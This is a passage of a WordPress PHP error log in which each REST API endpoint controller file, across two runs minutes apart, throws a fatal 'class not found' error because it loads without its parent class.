"WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php on line 18 [20-Aug-2026 05:36:38 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php on line 17 [20-Aug-2026 05:36:46 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php on line 17 [20-Aug-2026 05:36:50 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php on line 17 [20-Aug-2026 05:36:54 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php on line 17 [20-Aug-2026 05:37:03 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php on line 17 [20-Aug-2026 05:37:12 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php:20 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php on line 20 [20-Aug-2026 05:37:20 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php on line 17 [20-Aug-2026 05:37:26 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php on line 17 [20-Aug-2026 05:37:40 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php on line 17 [20-Aug-2026 05:37:46 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php:13 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php on line 13 [20-Aug-2026 05:37:54 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php:15 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php on line 15 [20-Aug-2026 05:38:00 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php:13 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php on line 13 [20-Aug-2026 05:38:04 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php on line 17 [20-Aug-2026 05:38:14 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icon-collections-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icon-collections-controller.php on line 18 [20-Aug-2026 05:38:24 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icons-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icons-controller.php on line 19 [20-Aug-2026 05:38:33 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php on line 17 [20-Aug-2026 05:38:40 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php on line 17 [20-Aug-2026 05:38:45 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Terms_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php on line 17 [20-Aug-2026 05:38:54 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php on line 17 [20-Aug-2026 05:38:58 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php:20 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php on line 20 [20-Aug-2026 05:39:00 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php on line 17 [20-Aug-2026 05:39:04 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php on line 17 [20-Aug-2026 05:39:12 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php on line 17 [20-Aug-2026 05:39:18 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php on line 17 [20-Aug-2026 05:39:22 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php on line 17 [20-Aug-2026 05:39:30 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php on line 17 [20-Aug-2026 05:39:35 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php on line 17 [20-Aug-2026 05:39:43 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php on line 19 [20-Aug-2026 05:39:44 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php on line 17 [20-Aug-2026 05:39:48 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php on line 17 [20-Aug-2026 05:39:54 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Autosaves_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php on line 17 [20-Aug-2026 05:39:59 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php on line 17 [20-Aug-2026 05:40:05 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php on line 17 [20-Aug-2026 05:40:12 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php on line 17 [20-Aug-2026 05:40:17 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-themes-controller.php on line 17 [20-Aug-2026 05:40:24 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-url-details-controller.php on line 18 [20-Aug-2026 05:40:30 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php on line 17 [20-Aug-2026 05:40:34 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-view-config-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-view-config-controller.php on line 18 [20-Aug-2026 05:40:41 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widget-types-controller.php on line 17 [20-Aug-2026 05:40:46 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-widgets-controller.php on line 17 [20-Aug-2026 05:54:52 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-categories-controller.php on line 19 [20-Aug-2026 05:54:53 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-list-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-list-controller.php on line 19 [20-Aug-2026 05:54:55 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-run-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-abilities-v1-run-controller.php on line 19 [20-Aug-2026 05:54:56 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php on line 17 [20-Aug-2026 05:54:57 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php:27 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php on line 27 [20-Aug-2026 05:54:59 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php on line 18 [20-Aug-2026 05:55:00 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php on line 17 [20-Aug-2026 05:55:03 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php on line 17 [20-Aug-2026 05:55:04 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php on line 17 [20-Aug-2026 05:55:05 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php on line 17 [20-Aug-2026 05:55:06 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php on line 17 [20-Aug-2026 05:55:09 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php:20 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php on line 20 [20-Aug-2026 05:55:11 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php on line 17 [20-Aug-2026 05:55:17 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php on line 17 [20-Aug-2026 05:55:18 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php on line 17 [20-Aug-2026 05:55:19 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php:13 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php on line 13 [20-Aug-2026 05:55:20 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php:15 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php on line 15 [20-Aug-2026 05:55:21 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php:13 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php on line 13 [20-Aug-2026 05:55:22 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php on line 17 [20-Aug-2026 05:55:24 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icon-collections-controller.php:18 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icon-collections-controller.php on line 18 [20-Aug-2026 05:55:24 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icons-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-icons-controller.php on line 19 [20-Aug-2026 05:55:25 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Posts_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php on line 17 [20-Aug-2026 05:55:26 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menu-locations-controller.php on line 17 [20-Aug-2026 05:55:27 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Terms_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-menus-controller.php on line 17 [20-Aug-2026 05:55:28 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-navigation-fallback-controller.php on line 17 [20-Aug-2026 05:55:29 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php:20 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-pattern-directory-controller.php on line 20 [20-Aug-2026 05:55:31 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-plugins-controller.php on line 17 [20-Aug-2026 05:55:32 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-statuses-controller.php on line 17 [20-Aug-2026 05:55:32 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-post-types-controller.php on line 17 [20-Aug-2026 05:55:34 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php on line 17 [20-Aug-2026 05:55:37 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-revisions-controller.php on line 17 [20-Aug-2026 05:55:38 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-search-controller.php on line 17 [20-Aug-2026 05:55:38 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-settings-controller.php on line 17 [20-Aug-2026 05:55:39 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php:19 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-sidebars-controller.php on line 19 [20-Aug-2026 05:55:39 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-site-health-controller.php on line 17 [20-Aug-2026 05:55:40 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-taxonomies-controller.php on line 17 [20-Aug-2026 05:55:41 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Autosaves_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-autosaves-controller.php on line 17 [20-Aug-2026 05:55:42 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Revisions_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-template-revisions-controller.php on line 17 [20-Aug-2026 05:55:45 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php:17 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-templates-controller.php on line 17 [20-Aug-2026 05:55:46 UTC] PHP Fatal error: Uncaught Error: Class "WP_REST_Controller" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/rest-api/endpoints/class-wp-rest-terms-controller.php:17 Stack trace: #0 {main} thrown in 